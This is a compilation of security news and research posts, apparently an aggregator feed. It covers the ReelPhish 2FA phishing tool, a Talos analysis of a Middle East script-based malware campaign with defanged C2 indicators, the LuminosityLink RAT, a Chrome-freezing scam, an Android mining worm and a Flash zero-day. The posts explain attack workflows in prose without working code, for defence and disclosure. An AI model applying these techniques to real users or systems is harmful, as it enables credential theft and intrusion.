ReelPhish: A Real-Time Two-Factor Phishing Tool

Social Engineering and Two-Factor Authentication

Social engineering campaigns are a constant threat to businesses
because they target the weakest chain in security: people. A typical
attack would capture a victim’s username and password and store it for
an attacker to reuse later. Two-Factor Authentication (2FA) or
Multi-Factor Authentication (MFA) is commonly seen as a solution to
these threats.

2FA adds an extra layer of authentication on top of the typical
username and password. Two common 2FA implementations are one-time
passwords and push notifications. One-time passwords are generated by
a secondary device, such as a hard token, and tied to a specific user.
These passwords typically expire within 30 to 60 seconds and cannot be
reused. Push notifications involve sending a prompt to a user’s mobile
device and requiring the user to confirm their login attempt. Both of
these implementations protect users from traditional phishing
campaigns that only capture username and password combinations.

Real-Time Phishing

While 2FA has been strongly recommended by security professionals
for both personal and commercial applications, it is not an infallible
solution. 2FA implementations have been successfully defeated using real-time
phishing techniques
. These phishing attacks involve interaction
between the attacker and victims in real time.

A simple example would be a phishing website that prompts a user for
their one-time password in addition to their username and password.
Once a user completes authentication on the phishing website, they are
presented with a generic “Login Successful” page and the one-time
password remains unused but captured. At this point, the attacker has
a brief window of time to reuse the victim’s credentials before expiration.

Social engineering campaigns utilizing these techniques are not new.
There have been reports of real-time
phishing in the wild
as early as 2010. However, these types of
attacks have been largely ignored due to the perceived difficulty of
launching such attacks. This article aims to change that perception,
bring awareness to the problem, and incite new solutions.

Explanation of Tool

To improve social engineering assessments, we developed a tool –
named ReelPhish – that simplifies the real-time phishing technique.
The primary component of the phishing tool is designed to be run on
the attacker’s system. It consists of a Python script that listens for
data from the attacker’s phishing site and drives a locally installed
web browser using the Selenium
framework
. The tool is able to control the attacker’s web browser
by navigating to specified web pages, interacting with HTML objects,
and scraping content.

The secondary component of ReelPhish resides on the phishing site
itself. Code embedded in the phishing site sends data, such as the
captured username and password, to the phishing tool running on the
attacker’s machine. Once the phishing tool receives information, it
uses Selenium to launch a browser and authenticate to the legitimate
website. All communication between the phishing web server and the
attacker’s system is performed over an encrypted SSH tunnel.

Victims are tracked via session tokens, which are included in all
communications between the phishing site and ReelPhish. This token
allows the phishing tool to maintain states for authentication
workflows that involve multiple pages with unique challenges. Because
the phishing tool is state-aware, it is able to send information from
the victim to the legitimate web authentication portal and vice versa.

Examples

We have successfully used ReelPhish and this methodology on numerous
Mandiant
Red Team
engagements. The most common scenario we have come
across is an externally facing VPN portal with two-factor
authentication. To perform the social engineering attack, we make a
copy of the real VPN portal’s HTML, JavaScript, and CSS. We use this
code to create a phishing site that appears to function like the original.

To facilitate our real-time phishing tool, we embed server-side code
on the phishing site that communicates with the tool running on the
attacker machine. We also set up a SSH tunnel to the phishing server.
When the authentication form on the phishing site is submitted, all
submitted credentials are sent over the tunnel to the tool on the
attacker’s system. The tool then starts a new web browser instance on
the attacker’s system and submits credentials on the real VPN portal.
Figure 1 shows this process in action.


Figure 1: ReelPhish Flow Diagram

We have seen numerous variations of two-factor authentication on VPN
portals. In some instances, a token is passed in a “secondary
password” field of the authentication form itself. In other cases, the
user must respond to a push request on a mobile phone. A user is
likely to accept an incoming push request after submitting credentials
if the phishing site behaved identically to the real site.

In some situations, we have had to develop more advanced phishing
sites that can handle multiple authentication pages and also pass
information back and forth between the phishing web server and the
tool running on the attacking machine. Our script is capable of
handling these scenarios by tracking a victim’s session on the
phishing site and associating it with a particular web browser
instance running on the attacker’s system. Figure 1 shows a general
overview of how our tool would function within an attack scenario.

We are publicly releasing the tool on the FireEye GitHub
Repository
. Feedback, pull requests, and issues can also be
submitted to the Git repository.

Conclusion

Do not abandon 2FA; it is not a perfect solution, but it does add a
layer of security. 2FA is a security mechanism that may fail like any
other, and organizations must be prepared to mitigate the impact of
such a failure.

Configure all services protected by 2FA to minimize attacker impact
if the attacker successfully bypasses the 2FA protections. Lowering
maximum session duration will limit how much time an attacker has to
compromise assets. Enforcing a maximum of one concurrent session per
user account will prevent attackers from being active at the same time
as the victim. If the service in question is a VPN, implement strict
network segmentation. VPN users should only be able to access the
resources necessary for their respective roles and responsibilities.
Lastly, educate users to recognize, avoid, and report social
engineering attempts.

By releasing ReelPhish, we at Mandiant hope to highlight the need
for multiple layers of security and discourage the reliance on any
single security mechanism. This tool is meant to aid security
professionals in performing a thorough penetration test from beginning
to end.

During our Red Team engagements at Mandiant, getting into an
organization’s internal network is only the first step. The tool
introduced here aids in the success of this first step. However, the
overall success of the engagement varies widely based on the target’s
internal security measures. Always work to assess and improve your
security posture as a whole. Mandiant provides a variety of services
that can assist all types of organizations in both of these activities.

Go to Source
Author: Pan Chan

Targeted Attacks In The Middle East

This blog post is authored by Paul Rascagneres with assistance of Martin Lee.

EXECUTIVE SUMMARY

Talos has identified a targeted attacks affecting the Middle East. This campaign contains the following elements, which are described in detail in this article.

  • The use of allegedly confidential decoy documents purported to be written by the Jordanian publishing and research house, Dar El-Jaleel. This institute is known for their research of the Palestinian-Israeli conflict and the Sunni-Shia conflict within Iran.
  • The attacker extensively used scripting languages (VBScript, PowerShell, VBA) as part of their attack. These scripts are used to dynamically load and execute VBScript functions retrieved from a Command & Control server.
  • The attacker demonstrates excellent operational security (OPSEC). The attacker was particularly careful to camouflage their infrastructure. During our investigation, the attacker deployed several reconnaissance scripts in order to check the validity of victim machine, blocking systems that don’t meet their criteria. The attacker uses the reputable CloudFlare system to hide the nature and location of their infrastructure. Additionally, the attacker filters connections based on their User-Agent strings, and only enables their infrastructure for short periods of time before blocking all connections.

This is not the first targeted campaign against the region that uses Dar El-Jaleel decoy documents which we have investigated. However, we have no indication that the previous campaigns are related.

VBS CAMPAIGN

Stage 1: VBScript

The campaign starts with a VBScript named من داخل حرب ايران السرية في سوريا.vbs (“From inside Iran’s secret war in Syria.vbs”). Here are the script contents:

The purpose of this script is to create the second stage PowerShell script described in the next section.

Stage 2: PowerShell Script

The goal of the generated PowerShell script is to create a Microsoft Office document named Report.doc and to open it.

Stage 3: Office Document With Macros

Here is a screenshot of the Office document:

This document purports to be written by Dar El-Jaleel. Dar El-Jaleel is a publishing and studies house based in Amman, Jordan. This institute is well-known for their research concerning the Palestinian-Israeli conflict and the Sunni-Shia conflict in Iran. Tagged as confidential, the document is an analysis report on Iranian activities within the Syrian civil war.

This document contains a Macro:

The purpose of this Macro in to create a WSF (Windows Script File) file and to execute it.

Stage 4: WSF Script

The created WSF script is the main part of the infection:

The top of the script contains configuration information:

  • the hostname of the Command & Control – office-update[.]services,
  • the port – 2095,
  • the User-Agent – iq.46-|-377312201708161011591678891211899134718141815539111937189811

The User-Agent is used to identify the targets. The CC filters network connections based on this string, only allowing through connections made with authorised User-Agent strings.

The first task of the script is to register the infected system by performing an HTTP request to http://office-update[.]services:2095/store. Next, the script executes an infinite loop, attempting to contact the /search URI every 5 seconds in order to download and execute additional payloads.

Additional Payloads

The WSF script receives payloads of three types, named s0, s1, s2. The payloads are VBScript functions loaded and executed on the fly with the ExecuteGlobal() and GetRef() APIs. The only differences between s0,s1 and s2 type payloads are the number of arguments supplied to the executing function. s0 does not require any arguments, s1 accepts one argument, and s2 two arguments.

The downloaded payload functions are obfuscated, here is an example of the raw data:

The first element is the function type (s0), followed by a separator ‘-|-‘. The second element is the obfuscated function; this consists of ASCII values, separated by ‘*’. For example the above data decodes as:

  • 45: –
  • 54: 6
  • 53: 5
  • 43: +
  • 49: 1
  • 52: 4
  • 56: 8
  • 42: *
  • 53: 5
  • 51: 3
  • 53: 5
  • 45: –
  • 52: 4
  • 49: 1
  • 56: 8
  • 42: *

Hence, the decoded data is “-65+148*535-418*”. Then follows a second step, again using ‘*’ as a separator. Each mathematical operation is resolved to obtain a new ASCII value:

  • -65+148 = 83 -> “S”
  • 535-419 = 117 -> “u”

This technique is used to construct a new VBScript function.
During our investigation we received 5 different functions.

RECONNAISSANCE FUNCTIONS

During our investigation we received a reconnaissance function a few minutes after the initial compromise. The purpose of the function was to retrieve several pieces of information from the infected system, presumably in order to check if the target is valuable or not (or a sandbox system).

First, the attacker retrieves the disk volume serial number:

Secondly, the payload retrieves any installed anti-virus software:

Thirdly, it obtains the Internet IP address of the infected system by querying ipify.org (the code includes a hint that the attacker previously used wtfismyip.com):

Thirdly, it retrieves the computer name, the username, the Operating System and the architecture:

All these data are sent to the previously mentioned CC using the /is-return URI. The data are stored in the User-Agent separated by “-|-“.

Subsequently, we received a second reconnaissance function:

The function acts to list the drives of the infected system and their type (internal drive, usb driver etc.)

PERSISTENCE FUNCTIONS

In addition to the reconnaissance functions we received 2 functions linked to the persistence of the WSF script. The first script is used to persist, the second is used to clean the infected system. Our machine was served this after taking too much time to send a request to the C2 Presumably the attacker determined we were examining their systems and decided to remove the malware to prevent further analysis:

PIVOT FUNCTION

Finally, we received a pivot function. The function is the only non-s0 function we obtained during our research. This is a s1 function that takes one argument:

Here is the argument:

The purpose is to execute a powershell script:

The PowerShell script executes a second base64 encoded script. The attacker forces the the system to use the 32 bit version of Powershell even if the operating system architecture is 64 bits.

Finally we obtain the last PowerShell script:

The purpose of this script is to download shellcode from 176[.]107[.]185[.]246 IP, to map it in memory and to execute it. The attacker takes many precautions before delivering the shellcode, these will be explained in the next chapter. Unfortunately during our investigation we weren’t served the anticipated shellcode.

Attackers OPSEC

The attacker behind this campaign put a lot of effort into protecting its infrastructure and to avoid leaking code to analysts. The first Command & Control server is protected by CloudFlare. This choice complicates the analysis and tracking of the campaign. Additionally, the attacker filters on the User-Agent; if your web requests do not fit a specific pattern, your request will be ignored. During our analysis the attacker was only active during the morning (Central European Timezone), similarly the various different payloads were only sent during mornings (Central European Time). When an infected system receives the pivot function, the attacker disables their firewall for a few minutes to allow this unique IP to download the shellcode. Afterwards, the server becomes unreachable. Here is a schema of this workflow:

Additionally, we saw that the attackers blacklisted some of our specific User-Agent strings and IP addresses used during our investigation

This high level of OPSEC is exceptional even among presumed state sponsored threat actors…

Links with Jenxcus (a.k.a. Houdini/H-Worm)?

If you are familiar with Jenxcus (a.k.a. Houdini/H-Worm) you should see some similarities between the VBScript used during this campaign and this well-known malware: usage of the user-agent to exfiltrate data, reconnaissance techniques etc…

We cannot tell if the attacker used a new version of Jenxcus or if this malware served as the inspiration for their own malicious code. The source code of Jenxcus can be easily found on the Internet. However, the adaptation used in this campaign is more advanced: the features/functions are loaded on demand and the initial script does not include all the malicious code unlike Jenxcus.

Additional Targets

We can identify different targets based on the User-Agent used by the attacker to identify victims. These are a few examples:

c = "U.15.7"
a = "738142201756240710471556115716122461214187935862381799187598"


c = "1X.134"
a = "130427201706151111209123451288122413771234715862388136654339"


c = "Fb-20.9"
a = "585010201750201110021112344661899112271619123139116684543113"

OTHER CAMPAIGNS USING DAR EL-JALEEL DECOY DOCUMENTS

This is not the first time Talos has investigated targeted campaigns using Dar El-Jaleel decoy documents. During 2017, we identified several campaigns using the same decoy documents:

This document is a weekly report about the major events occuring during the 1st week of November 2017, talking about the most important events happening in Jordan, Iraq, Syria, Lebanon, Palestine, Israel, Russia, ISIS and the ongoing Gulf Countries conflict with Qatar.

We encountered this document in campaigns using .NET malware (with the CC: foxlive[.]life) and C++ malware (with the CC: download[.]share2file[.]pro). The purpose of the malwares was to retrieve information relating to the targeted systems and to download an additional payload. Moreover, we identified another campaign using a share2file[.]pro subdomain. Here is the decoy document in this campaign:

This document is a pension list of military personnel dated June 2017, containing names of individuals which we have redacted, alongside a military rank.

We don’t know if these campaigns are performed by the same actor or different groups interested in this region. These campaigns are still under investigation.

CONCLUSION

These campaigns show us that at least one threat actor is interested in and targeting the Middle East. Due to the nature of the decoy documents, we can conclude that the intended targets have an interest in the geopolitical context of the region. The attackers used an analysis report alleged to be written by Dar El-Jaleel, a Jordanian institute specialising in studies of the region. Some of these documents are tagged as confidential.

During the VBS Campaign, we were surprised by the level of OPSEC demonstrated by the attacker and their infrastructure. Legitimate service such as CloudFlare were used to hide malicious activities. Additionally the attacker used user-agent filtering and firewall rules in order to grant access to specific infected systems for only a few minutes in order to deliver shellcode. Following this, the server became unreachable. Another notable observation is the fact that the attacker was active only during the morning (Central European timezone) during our investigation.

The usage of script languages is an interesting approach from the attackers’ point of view. These languages are natively available on Windows system, provide a high degree of flexibility, and can easily stay under the radar.

COVERAGE

Additional ways our customers can detect and block this threat are listed below.

Advanced Malware Protection (AMP) is ideally suited to prevent the execution of the malware used by these threat actors.

CWS or WSA web scanning prevents access to malicious websites and detects malware used in these attacks.

Email Security can block malicious emails sent by threat actors as part of their campaign.

Network Security appliances such as NGFW, NGIPS, andMeraki MX can detect malicious activity associated with this threat.

AMP Threat Grid helps identify malicious binaries and build protection into all Cisco Security products.

Umbrella, our secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network.

Open Source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.

IOCS

VBS Campaign:
Initial script: 15f5aaa71bfa3d62fd558a3e88dd5ba26f7638bf2ac653b8d6b8d54dc7e5926b
Domain #1: office-update[.]services
IP #2: 176[.]107[.]185[.]246

.NET Campaign:
Initial dropper: 4b03bea6817f0d5060a1beb8f6ec2297dc4358199d4d203ba18ddfcca9520b48
.NET #1: d49e9fdfdce1e93615c406ae13ac5f6f68fb7e321ed4f275f328ac8146dd0fc1
.NET #2: e66af059f37bdd35056d1bb6a1ba3695fc5ce333dc96b5a7d7cc9167e32571c5
Domain #1: jo[.]foxlove[.]life
Domain #2: eg[.]foxlove[.]life
Domain #3: fox[.]foxlove[.]life

Campaign #3:
Initial Dropper: af7a4f04435f9b6ba3d8905e4e67cfa19ec5c3c32e9d35937ec0546cce2dd1ff
Payload: 76a9b603f1f901020f65358f1cbf94c1a427d9019f004a99aa8bff1dea01a881
Domain: download[.]share2file[.]pro

Campaign #4:
Initial Dropper: 88e4f306f126ce4f2cd7941cb5d8fcd41bf7d6a54cf01b4a6a4057ed4810d2b6
Payload #1: c5bfb5118a999d21e9f445ad6ccb08eb71bc7bd4de9e88a41be9cf732156c525
Payload #2: 1176642841762b3bc1f401a5987dc55ae4b007367e98740188468642ffbd474e
Domain: update[.]share2file[.]pro

Go to Source
Author: Talos Group

Powered by WPeMatico

RAT Trapped? LuminosityLink Falls Foul of Vermin Eradication Efforts

Summary

In July 2016 Unit 42 analyzed the LuminosityLink Remote Access Tool (RAT) which first appeared in April 2015. LuminosityLink was once a popular, cheap, full-featured commodity RAT. Now, however, LuminosityLink appears to have died – or been killed off – over half a year ago.

We recently noticed that the sites luminosity[.]link and luminosityvpn[.]com had been taken down and were looking into the possibility that it was indeed “dead”, when we saw on February 5, 2018 Europol published a press release that stated “A hacking tool allowing cybercriminals to remotely and surreptitiously gain complete control over a victim’s computer is no longer available as a result of an UK-led operation targeting hackers linked to the Remote Access Trojan (RAT) Luminosity Link.”.

In this blog we look at how LuminosityLink indeed appears to have died, go into some details on LuminosityLink’s prevalence, and discuss LuminosityLink’s capabilities and how they belie claims sometimes made that it was a legitimate tool.

M.I.A.
Up until July 2017, the LuminosityLink RAT software was sold at the website luminosity[.]link (Figure 1).

LuminosityLink1

Figure 1 – luminosity[.]link website

Customers complained that their licensing systems were no longer working (Figure 2).

LuminosityLink2

Figure 2 – Customers noticing licensing down

The author of LuminosityLink, “KFC Watermelon”, was indeed keeping a low profile – closing his forum thread selling the software (Figure 3).

LuminosityLink3

Figure 3 – KFC Watermelon MIA

As shown in Figures 4 and 5, although unrelated to LuminosityLink, the arrest of the author of the Nanocore RAT earlier in 2017 fueled speculation on forums that the LuminosityLink author had also been arrested and may have handed over his customer list.

LuminosityLink4

Figure 4 – Speculation

LuminosityLink5

Figure 5 – Arrest

However, even though sales and licensing of LuminosityLink have ceased, despite the rumors, there has been no report of an arrest in the case of the LuminosityLink author to date.

Interestingly, the Europol press release seems to focus upon the users of LuminosityLink, and noticeably omits any mention of the author. Our own investigation into the LuminosityLink author suggests that the individual behind LuminosityLink RAT (and previously Plasma RAT) lives in Kentucky. In light of the fact that “KFC” originally stood for “Kentucky Fried Chicken”, the “KFC” in “KFC Watermelon” may have a deeper significance and not be a random handle.

Prevalence of LuminosityLink
Our oldest sample of this malware dates to mid-April 2015, very shortly after the domain luminosity[.]link was registered. In the just-over two years that this RAT was sold, Palo Alto Networks collected over 43,000 unique LuminosityLink samples through various methods. In total, Palo Alto Networks observed over 72,000 submissions to Wildfire (Figure 6), of over 6000 unique samples, by almost 2500 Palo Alto Networks customers. The most prolific of these individual samples were observed in over 2000 attacks each.

LuminosityLink6

Figure 6 – LuminosityLink Attack Observations

LuminosityLink Command and Control (C2) servers contact the author’s licensing server to verify their legitimacy. We note a sharp drop after July 2017, with the licensing server down, though samples continue to be observed. Although we note a couple of noticeable spikes, the observation of new LuminosityLink samples is on a steady decline. Based on other examples, we believe the continued presence LuminosityLink in the wild, even though it’s no longer under development, may be due to cracked versions of it being in use.

Malware, or legitimate tool?
Customers of these services, users on underground forums, have expressed concern that arrests of RAT authors might lead law enforcement to their own doors (we see similar sentiments echoed by the customers of DDoS “booter” / “stresser” services).

RAT authors and customers alike claim that RATs represent legitimate “administration tools” – despite the fact that the support thread itself is in under “Hacks, Exploits, and Various Discussions » Hacking Tools and Programs”, on a hacking forum (Figure 7).

LuminosityLink7

Figure 7 – What is obvious

Further undermining these claims, the help forum on the luminosity[.]link site included an article (Figure 8) about “support regarding a third-party product (VPN, Crypter, etc)” – suggesting that the use of such detection avoidance techniques was in the front of the mind of the author.

“KFC Watermelon” even states as much on forums “I do cater to crypter coders now and are in contact with numerous developers to ensure Luminosity works great while crypted. 1.3.1 is further proof of this.”.

LuminosityLink8

Figure 8 – luminosity[.]link support article

Even more to the point, LuminosityLink boasted feature sets such as “Surveillance: Remote Desktop, Remote Webcam, Remote Microphone”, “Smart Keylogger: Records all Keystrokes, Specify Websites and Programs to Record Separately, Keylogger Viewer, Organized and easy-to-use, Search Keylogs Easily”. These all heavily suggest a purpose other than legitimate remote administration. And other features would seem to have no legitimate purpose at all: “Crypto Currency Miner: Supports Scrypt, SHA256 and More, Custom Miner Support (For Alt Coins), Set amount of CPU to use, Supports CPU and GPU Mining, Proxy Support, Update mining config at anytime” (Figure 9).

LuminosityLink9

Figure 9 – Coin Miner

It’s also hard to imagine a legitimate-use scenario for launching a DDoS attack (Figure 10):

LuminosityLink10

Figure 10 – DDoS feature

Per “KFC Watermelon” himself “I also re-coded the DDoS modules in 1.0.0.1 and made the Layer 7 attacks more effective.”.

Another forum was quite accurately prophetic about the risks the author of LuminosityLink was taking in April 2017, about three months before the site was parked (Figure 11).

LuminosityLink11

Figure 11 – Forum Comment on Risks LuminosityLink Author Was Taking

Conclusion

Based on our analysis and the recent Europol announcement, it does seem though that LuminosityLink is indeed dead, and we await news of what has indeed happened to the author of this malware. In support of this, we have seen LuminosityLink prevalence drop significantly and we believe any remaining observable instances are likely due to cracked versions.

Finally, a review of most recent feature sets and capabilities for LuminosityLink show that even if some of its capabilities could be put to legitimate purposes, taken as a whole, the preponderance of questionable or outright illegitimate features discredit any claims to legitimacy.

Coverage

Palo Alto Networks customers are protected from this threat in the following ways:

  1. WildFire accurately identifies LuminosityLink RAT samples as malicious.
  2. Traps prevents this threat on endpoints, based upon WildFire prevention.

AutoFocus users can view LuminosityLink RAT samples using the “LuminosityLinkRAT” tag.

IOCs can be found in the appendices of this report.

Appendix I – Top 20 samples

07b4b11940baa619c0c6ec91b1a73715f4a1ece29ad85287b7db97718a60aea5 2260
efdf2238c091f4ff3fa9b2eea8cfa5c9edad70434fc81cba5a81d2b3fe188276 2142
73f7967d53fe124a028311db97b2b1c0a53acffe269c37d20e31f2a4a068ab28 1769
45657413799e9481eff4c83bf183b9343b3f7ed1ecde6724b1a7d2c2c6e4839c 1260
df5a90d5dac6c3a4286230e0b0d4835ec936b11bbacf6b031b25ff6545ed153e 1007
8785ef18b75605bd659a346ec890b4888749c6015b729cd3363fd8289e55faf3 959
f3aacd6a47fd6655408507446ff53b946108f29e2a3dc0bb2f496b8e36927ce7 890
add98a6912601551634239a6867ea10136fd6cf770cd25eecde576a3853738d8 823
c4eee35f0e51a04a7daca1431c4926d02720590ce62200c8362bacc66eb574b1 764
53d817e8a824488a622cf653c9d48164c3d741aa19f2e2d89a713005f81109ef 751
a3dd71e5bd2d9edad31252d3d6049b5ffb1d6bd11fe6215f9d2c8cf093ba8ab7 749
82151d68ae5ec5e00e81998785371ff694b37bfe6093fe3bd8c9932ed21651c7 731
68a599d2658096ff9c529c5aeb9644119c47e1c744b07323a3df8a8e5e94c4da 725
1f79ac7f0201584d6ea7d6b0c96d2285572ed4a191e765a20f5ccae6ebb2f34d 718
50349613c6fbac2b344f5b7753a165620be112a674763153a6de497df43589af 712
79a6a3c5ae196a1874234f5870fc8c6d07059c85cb1fca73d21c8eb51c0d41b1 680
8329f8176e926053fc9a4db2f9eb09aff6fec31c197e919ae26cb9501926c516 674
f8f58cc1095ea29e2c365fa64fdccdebce5113b44e3d7032e96f0ebb3dfd5e9c 669
09681a9054f9f04e270b0ae390c7b697748405d4c29a589ff45a4b485baa18c4 652
0247b0ecbf6069e38e772ef546e63c46262cc77efe5d004a3ec516baf0e74d87 524

Appendix 2 – full sample hash list

A full list of SHA256 hashes for all known LuminosityLink samples, as of 1 February 2018, can be found here.

The post RAT Trapped? LuminosityLink Falls Foul of Vermin Eradication Efforts appeared first on Palo Alto Networks Blog.

Go to Source
Author: Simon Conant

Tech support scammers find new way to jam Google Chrome

During the past quarter we have noted an increase in fake browser alerts pushing tech support scams. Most of these campaigns come from malicious advertising but also via compromised web sites. Crooks are using all sorts of tricks to not only scare users but also to try and ‘lock’ their browsers.

One such technique involving the history.pushState API which we reported about on this blog has now been patched but still continues to be used. There are also the infamous pop-unders that can be used in such a way that users are stuck between various tabs.

In yet another twist, scammers are now abusing another API that achieves their intended goal of freezing the browser. By doing so they hope that users will panic and call the toll-free number for assistance. The following animation shows what a user may experience with Google Chrome’s latest version (64.0.3282.140).

The code responsible for this is embedded within the main page, and slightly obfuscated:

The Blob constructor coupled with the window.navigator.msSaveOrOpenBlob method lets you save files locally and, as you may have guessed, is what is being abused here.

The ch_jam() function calls another function called bomb_ch(), and are both appropriately named for what they do. This in turn calls the download function that uses the aforementioned Blob constructor.

It happens too fast to see how it works, but you may be able to spot it with a powerful enough machine and if you try to close the tab early on. That code triggers a very large number of downloads in rapid fire, which causes the browser to become unresponsive within a few seconds, and unable to be closed via normal means.

The primary targets for this particular browser freeze are Google Chrome users on Windows. Other browsers will get their own landing pages, abusing other HTML APIs. Considering that Chrome has the most market share in the browser category, this is yet another example of the desire for threat actors to deploy new social engineering schemes.

Since most of these browser lockers are distributed via malvertising, an effective mitigation method is to use an ad-blocker. As a last resort, the Windows Task Manager will allow you to forcefully quit the offending browser processes. Malwarebytes users were already protected against the redirection mechanism used in this attack.

The post Tech support scammers find new way to jam Google Chrome appeared first on Malwarebytes Labs.

Go to Source
Author: Jérôme Segura

Watch Out! New Cryptocurrency-Mining Android Malware is Spreading Rapidly

Due to the recent surge in cryptocurrency prices, threat actors are increasingly targeting every platform, including IoT, Android, and Windows, with malware that leverages the CPU power of victims’ devices to mine cryptocurrency.

Just last month, Kaspersky researchers spotted fake antivirus and porn Android apps infected with malwarethat mines Monero cryptocurrency, launches DDoS attacks, and performs several other malicious tasks, causing the phone’s battery to bulge out of its cover.

Now, security researchers at Chinese IT security firm Qihoo 360 Netlab discovered a new piece of wormable Android malware, dubbed ADB.Miner, that scans wide-range of IP addresses to find vulnerable devices and infect them to mine digital cryptocurrency.

According to the researchers, ADB.Miner is the first Android worm to reuse the scanning code programmed in Mirai—the infamous IoT botnet malware that knocked major Internet companies offline last year by launching massive DDoS attacks against Dyndns.

ADB.Miner scans for Android devices—including smartphones, smart TVs, and TV set-top boxes—with publicly accessible ADB debug interface running over port 5555 and then infects them with a malware that mines Monero cryptocurrency for its operators.

Android Debug Bridge (ADB) is a command-line tool that helps developers debug Android code on the emulator and grants access to some of the operating system’s most sensitive features.

It should be noted that almost all Android devices by default come with the ADB port disabled, so botnet would target only those devices that have manually been configured to enable port 5555.

Besides mining Monero cryptocurrency, ADB.Miner installed on an infected device also attempts to propagate itself by scanning for more targets on the Internet.

Researchers did not reveal exactly how or by exploiting which ADB flaw hackers are installing malware onto Android devices.

However, the researchers believed hackers are not exploiting any vulnerability that targets any specific device vendor since they found devices from a wide range of manufacturers impacted.

According to the researchers, the infection started on January 21, and the number of attacks has increased recently. As of Sunday, the researchers detected 7,400 unique IP addresses using the Monero mining code—that’s more than 5,000 impacted devices in just 24 hours.

Based on the scanning IP addresses, the highest number of infection has been noticed in China (40%) and South Korea (31%), the researchers estimated.

In order to fight against such malware Android users are advised not to install unnecessary and untrusted applications from the app store, even from Google Play Store, and keep your devices behind a firewall or a VPN.

Go to Source

New Flash Player zero-day comes inside Office document

A new Flash Player zero-day has been found in recent targeted attacks, as reported by KrCERT. The flaw, which exists in Flash Player 28.0.0.137 and earlier versions, allows an attacker to remotely execute malicious code. On February 1, Adobe published a security advisory acknowledging this zero-day:

Adobe is aware of a report that an exploit for CVE-2018-4878 exists in the wild, and is being used in limited, targeted attacks against Windows users. These attacks leverage Office documents with embedded malicious Flash content distributed via email.

Threat actors used a decoy Microsoft Excel document to lure their intended target (some South Korea users) in order to infect them with a remote administration tool named ROKRAT. While not obvious at first, an ActiveX object has been embedded into the document and contains the Flash exploit. Highlighting cells reveals a small white rectangle that represents the embedded object:

Upon opening the spreadsheet, one of several South Korean websites will be contacted via a GET request containing the following three parameters:

  • a unique identifier
  • the Flash Player version
  • the Operating System version

This is an important step because it retrieves a key used to decrypt the malicious shell code.

By the time we had access to this sample, the websites hosting it were down, which proved to be a showstopper in the exploitation and payload. Malwarebytes detects the remote administration tool that was dropped, as well as blocks the sites known to have hosted the key and payload.

Adobe has said it will issue a patch for this zero-day sometime during the week of February 5. In the meantime, users are advised to disable or uninstall the Flash Player. We expect that this exploit will be used in larger scale attacks, including via malicious spam. We will keep you updated of any further developments.

Indicators of compromise

1588-2040.co[.]kr/design/m/images/image/image.php?

SWF exploit

FEC71B8479F3A416FA58580AE76A8C731C2294C24663C601A1267E0E5C2678A0

The post New Flash Player zero-day comes inside Office document appeared first on Malwarebytes Labs.

Go to Source
Author: Jérôme Segura

Boomerang spam bombs Malwarebytes forum—not a smart move

Tech support scammers are generally not the best and brightest. As such, they will occasionally post ads for their fake companies in the comment sections here or on the Malwarebytes forums. Last week, however, scammers struggled with configuring their spambots, resulting in spam bombs on the forum lasting roughly 72 hours, with a slow taper down for two more days.

Over six days, 246 spam accounts associated with this activity were banned. We wondered what threat actor group would exercise such phenomenally poor judgment, so we drilled down a bit into who these people are.

As it turns out, the majority of the spam was posted for a threat actor we were already familiar with: Boomerang Tech Solutions. Boomerang scams using an AV theme, so they need to use the Malwarebytes brand to appear properly comprehensive to victims. They will also look to legitimate AV customers for scam targeting. Over the past year, Boomerang has:

  • Posted ads to our forums
  • Posted ads to blog comment sections
  • Maintained Twitter accounts to direct traffic to their domains
  • Monitored the Facebook pages of various AV companies to find customers requesting tech support. They then targeted those customers with linked phone numbers, claiming to be the company in question.
  • Made outbound calls to victims as Malwarebytes, then subsequently deleted MBAM from victim systems

As you can imagine, this behavior has not endeared them to US-based merchant processors, leaving them with pay by check as the primary payment option. (More on why alternative payment options tend to be bad here.)

Indicators

Our counterfraud team has observed the following Indicators of Compromise (IOCs) related to Boomerang activity:

Website Twitter handle
Antivirus-support-number[.]com @Malwrebytes ‏
Boomerangtechnologies[.]info @malwarebytes4 ‏
www.antivirustechnicalhelp[.]com @malwarebytes_ ‏
www.wisdomsquad[.]com @malwarebytetech ‏
www.seccurityexperts[.]com @quickencontact2 ‏
liveantivirushelp[.]com n/a
antivirusconsulting[.]com n/a

www.bluenetworksecurity[.]com

How Boomerang rips us off

When Boomerang first came on our radar about a year ago, we called them up to see precisely how victims are being targeted. As you can see in the video of our call below, there’s nothing at all original here. Boomerang tells us that we are bedeviled by “illegal connections” sending our data overseas. The only slightly unusual parts are the relatively high quality of their website (most of these guys struggle with HTML), and the phone rep who told us that Malwarebytes does not protect from “viruses coming from the Internet.” Check out the video to see the standard Boomerang pitch.

How to stay safe

First and foremost, be a little extra suspicious of any company that is resistant to accept payment with a credit card. If they can’t process credit payments easily, there’s probably a good (bad) reason why. If you’ve had a run-in with these or any other tech support scammer (on our site, forum, or anywhere else), you can find information on what to do next here.

Have you been contacted by someone claiming to be us or our representative? See how to evaluate those claims here. Lastly, if you’ve dealt with anyone from Boomerang yourself, post to the comments below to let others know your experience. Stay suspicious and stay safe.

The post Boomerang spam bombs Malwarebytes forum—not a smart move appeared first on Malwarebytes Labs.

Go to Source
Author: William Tsing

Attackers Exploiting Unpatched Flaw in Flash

Adobe warned on Thursday that attackers are exploiting a previously unknown security hole in its Flash Player software to break into Microsoft Windows computers. Adobe said it plans to issue a fix for the flaw in the next few days, but now might be a good time to check your exposure to this still-ubiquitous program and harden your defenses.

Adobe said a critical vulnerability (CVE-2018-4878) exists in Adobe Flash Player 28.0.0.137 and earlier versions. Successful exploitation could allow an attacker to take control of the affected system.

The software company warns that an exploit for the flaw is being used in the wild, and that so far the attacks leverage Microsoft Office documents with embedded malicious Flash content. Adobe said it plans to address this vulnerability in a release planned for the week of February 5.

According to Adobe’s advisory, beginning with Flash Player 27, administrators have the ability to change Flash Player’s behavior when running on Internet Explorer on Windows 7 and below by prompting the user before playing Flash content. A guide on how to do that is here (PDF). Administrators may also consider implementing Protected View for Office. Protected View opens a file marked as potentially unsafe in Read-only mode.

 

Hopefully, most readers here have taken my longstanding advice to disable or at least hobble Flash, a buggy and insecure component that nonetheless ships by default with Google Chrome and Internet Explorer. More on that approach (as well as slightly less radical solutions) can be found in A Month Without Adobe Flash Player. The short version is that you can probably get by without Flash installed and not miss it at all.

